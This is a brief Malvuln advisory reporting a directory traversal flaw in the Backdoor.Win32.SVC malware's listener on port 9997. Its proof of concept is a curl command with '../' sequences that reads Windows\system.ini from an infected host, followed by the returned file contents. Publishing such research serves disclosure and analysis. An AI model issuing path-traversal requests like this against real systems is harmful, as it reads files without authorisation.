Original source: https://malvuln.com/advisory/011961a42700e7385a106d362eb661c7_B.txt
Contact:
Media: twitter.com/malvuln
Threat: Backdoor.Win32.SVC
Vulnerability: Directory Traversal
Description: The malware listens on TCP port 9997. Third-party
attackers who can reach an infected host can read any file on the
system using "../" path traversal characters to break out of the
root dir.
Type: PE32
MD5: 011961a42700e7385a106d362eb661c7
Vuln ID: MVID-2022-0447
Disclosure: 01/05/2022
Exploit/PoC:
curl http://x.x.x.x:9997/../../../../../Windows/system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
[drivers]
wave=mmdrv.dll
timer=timer.drv
[mci]
Disclaimer: The information contained within this advisory is
supplied "as-is" with no warranties or guarantees of fitness of use
or otherwise. Permission is hereby granted for the redistribution
of this advisory, provided that it is not altered except by
reformatting it, and that due credit is given. Permission is
explicitly given for insertion in vulnerability databases and
similar, provided that due credit is given to the author. The
author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage
caused by the use or misuse of this information. The author
prohibits any malicious use of security related information or
exploits by the author or elsewhere. Do not attempt to download
Malware samples. The author of this website takes no responsibility
for any kind of damages occurring from improper Malware handling or
the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
